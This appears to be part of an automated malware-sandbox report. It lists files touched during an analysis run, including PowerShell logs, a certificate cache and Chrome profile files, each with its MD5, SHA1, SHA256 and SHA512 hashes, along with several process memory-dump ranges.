C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 56efdb5a0f10b5eece165de4f8c9d799
SHA1 fa5de7ca343b018c3bfeab692545eb544c244e16
SHA256 6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA512 91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5ea00616232141c494df91fca9fe22d1
SHA1 15f672a2610771e63bb2f20b4413ef2707e2b0c3
SHA256 1d2e6e0a76b326027fa9162b22c998ad8daa665ef7326f732febe8817f63a849
SHA512 727d2155e354837a71b9f67384a75b8a6335c0c9cf771ec77cd17d950acc314be05981ea9d5140076b1430b5edcd6b63cdd3a0f59ca27472da4268ebf227ef3b

memory/6000-337-0x0000014F7EC40000-0x0000014F7F3E6000-memory.dmp

memory/3816-474-0x0000000000400000-0x0000000000439000-memory.dmp

memory/5328-475-0x0000000000400000-0x0000000000439000-memory.dmp

memory/5528-479-0x00007FFA52100000-0x00007FFA52127000-memory.dmp

memory/5528-480-0x00007FFA371B0000-0x00007FFA372DC000-memory.dmp

memory/5328-487-0x0000000000400000-0x0000000000439000-memory.dmp

memory/5528-489-0x00007FFA52100000-0x00007FFA52127000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 63f3193f647d1c456c7bc9eda8e1c456
SHA1 4c0cfa16fec9a0f5aea919ec7926cca7eacec1d4
SHA256 204c112602de9a48d25f9b4a7d0c5d1cf04bba0c8d680dcb56d057abe9ab5cef
SHA512 9afed2461f66194f480281b4620d16adf422565133aa0eaf9af02311a2ba360adff1311b3093a9dab196dd8ab88e6b6077c29c0eff531a46af2960e037fa5bce

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419

MD5 3c6664884bb1c763082685b27e3adbf7
SHA1 9626cbc72899bfef8cf2168ca1c678562d7de836
SHA256 ac46f3a3e931f1378c78329bb8416febac71013ef68be5b7399afb32baff0eaa
SHA512 b24f4d5b9ed885066f27878ac8a18e2073b3eef2926b36bfecf3b73ba3772335b04146e306d44e3ac14127f97d0238fc46edb81d6a03e090611f65be133693d4

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_49536AB5156BDD74EFF881D01C36A419

MD5 96d2b30d3266c0e5060879785ebafa7b
SHA1 b5394cc03bfde7acc9026023461d7b6685a60960
SHA256 a0441e06a4e5330e000321184a6b9f933ee92a6b81a74711e14b07e31b4d1f4b
SHA512 7a8e4ba76c9fd51a989cbcf6c750b8acc7f06c8ff23d5c45c983ce25d4b112166a39dfd5e7f8bd0936087382e4a382a12e90317249c1cb6d16f03ecb9dc01c0d

memory/5328-537-0x0000000000400000-0x0000000000439000-memory.dmp

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

MD5 3088aefc2f6bc369fa69ef31c07c6a37
SHA1 2fc060080a6a50068c771546975397319217d472
SHA256 d08deb7b432d97d9127e815d430eeb66e776a65891149c3375a8d551c5f6a726
SHA512 c3ac38756bdca8cac07655024ebf658436c3a6a9b3f7119118a42ee2d7e49f33a494962dd9789d76626a1a353852e3e8d7c2cb698d34158bb9e09c60df521984

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

MD5 5ad0154e8777222524cdd5dd892fdb8b
SHA1 c7fd65a999c4c868d06f03a6a1ce5329029ad8db
SHA256 8bea3e7abec66b597c0de7ad1bc6da9859463120aaddcdd3ef78e2fc2b03f4e4
SHA512 dcd1dc8c11a0f2f5ed9394b4c4da9eeef18d0bdf1c591a42d004f5f746aa24d17cc8ddf1ec318cede3a9cf0544c1d0b36c1d3e44f3c9f17e3f05865e42daf927

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

MD5 d2abfd4f1bb37590cd194872f9112ed5
SHA1 328dd1eb80073eb6f100c04adae2580cac38f4f1
SHA256 834d4a86271c9c2da9844da7fb469a0247c120a3acd3d6be5241b103b87a12e9
SHA512 6db3d20bae327a78f07ea2dc16c749eb52d0b93327aa8f38ca09bb94f7f1b4d3d053953c48ae03c05c6356db25c3071e24828fb685907cebbe81bc0cf003e6ec